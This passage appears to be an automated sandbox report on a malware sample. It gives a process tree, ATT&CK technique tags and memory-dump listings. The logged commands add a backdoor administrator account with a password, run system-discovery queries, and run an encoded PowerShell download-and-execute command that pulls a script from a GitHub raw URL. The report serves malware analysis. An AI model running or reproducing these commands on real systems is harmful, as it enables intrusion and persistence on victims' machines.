cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:796
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3344

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc EdrwL8Uu
1⤵
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\system32\net.exe
  net.exe user wgautilacc EdrwL8Uu
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:920
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc EdrwL8Uu
    3⤵
    PID:1384

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:3924

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2356
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3604

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1792
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1256

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:4512
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:4552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:4572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1128-294-0x000001C1CD2C8000-0x000001C1CD2CA000-memory.dmp

Filesize
8KB

Download
memory/1128-292-0x000001C1CD2C3000-0x000001C1CD2C5000-memory.dmp

Filesize
8KB

Download
memory/1128-291-0x000001C1CD2C0000-0x000001C1CD2C2000-memory.dmp

Filesize
8KB

Download
memory/1128-293-0x000001C1CD2C6000-0x000001C1CD2C8000-memory.dmp

Filesize
8KB

Download
memory/1256-393-0x0000017435193000-0x0000017435195000-memory.dmp

Filesize
8KB

Download
memory/1256-392-0x0000017435190000-0x0000017435192000-memory.dmp

Filesize
8KB

Download
memory/1256-396-0x0000017435196000-0x0000017435198000-memory.dmp

Filesize
8KB

Download
memory/1256-447-0x0000017435198000-0x0000017435199000-memory.dmp

Filesize
4KB

Download
memory/1404-119-0x0000026279986000-0x0000026279987000-memory.dmp

Filesize
4KB

Download
memory/1404-114-0x000002627A680000-0x000002627AA7F000-memory.dmp

Filesize
4.0MB

Download
memory/1404-117-0x0000026279983000-0x0000026279985000-memory.dmp

Filesize
8KB

Download
memory/1404-118-0x0000026279985000-0x0000026279986000-memory.dmp

Filesize
4KB

Download
memory/1404-116-0x0000026279980000-0x0000026279982000-memory.dmp

Filesize
8KB

Download
memory/2336-155-0x000002AE3C110000-0x000002AE3C111000-memory.dmp

Filesize
4KB

Download
memory/2336-153-0x000002AE397B8000-0x000002AE397B9000-memory.dmp

Filesize
4KB

Download
memory/2336-138-0x000002AE397B3000-0x000002AE397B5000-memory.dmp

Filesize
8KB

Download
memory/2336-126-0x000002AE3B790000-0x000002AE3B791000-memory.dmp

Filesize
4KB

Download
memory/2336-154-0x000002AE3BD80000-0x000002AE3BD81000-memory.dmp

Filesize
4KB

Download
memory/2336-147-0x000002AE215F0000-0x000002AE215F1000-memory.dmp

Filesize
4KB

Download
memory/2336-131-0x000002AE3B940000-0x000002AE3B941000-memory.dmp

Filesize
4KB

Download
memory/2336-139-0x000002AE397B6000-0x000002AE397B8000-memory.dmp

Filesize
8KB

Download
memory/2336-137-0x000002AE397B0000-0x000002AE397B2000-memory.dmp

Filesize
8KB

Download
memory/3180-174-0x0000027951D60000-0x0000027951D62000-memory.dmp

Filesize
8KB

Download
memory/3180-198-0x0000027951D66000-0x0000027951D68000-memory.dmp

Filesize
8KB

Download
memory/3180-175-0x0000027951D63000-0x0000027951D65000-memory.dmp

Filesize
8KB

Download
memory/3180-203-0x0000027951D68000-0x0000027951D6A000-memory.dmp

Filesize
8KB

Download
memory/3612-221-0x000001F0A2F20000-0x000001F0A2F22000-memory.dmp

Filesize
8KB

Download
memory/3612-222-0x000001F0A2F23000-0x000001F0A2F25000-memory.dmp

Filesize
8KB

Download
memory/3612-252-0x000001F0A2F26000-0x000001F0A2F28000-memory.dmp

Filesize
8KB

Download
memory/3612-254-0x000001F0A2F28000-0x000001F0A2F2A000-memory.dmp

Filesize
8KB

Download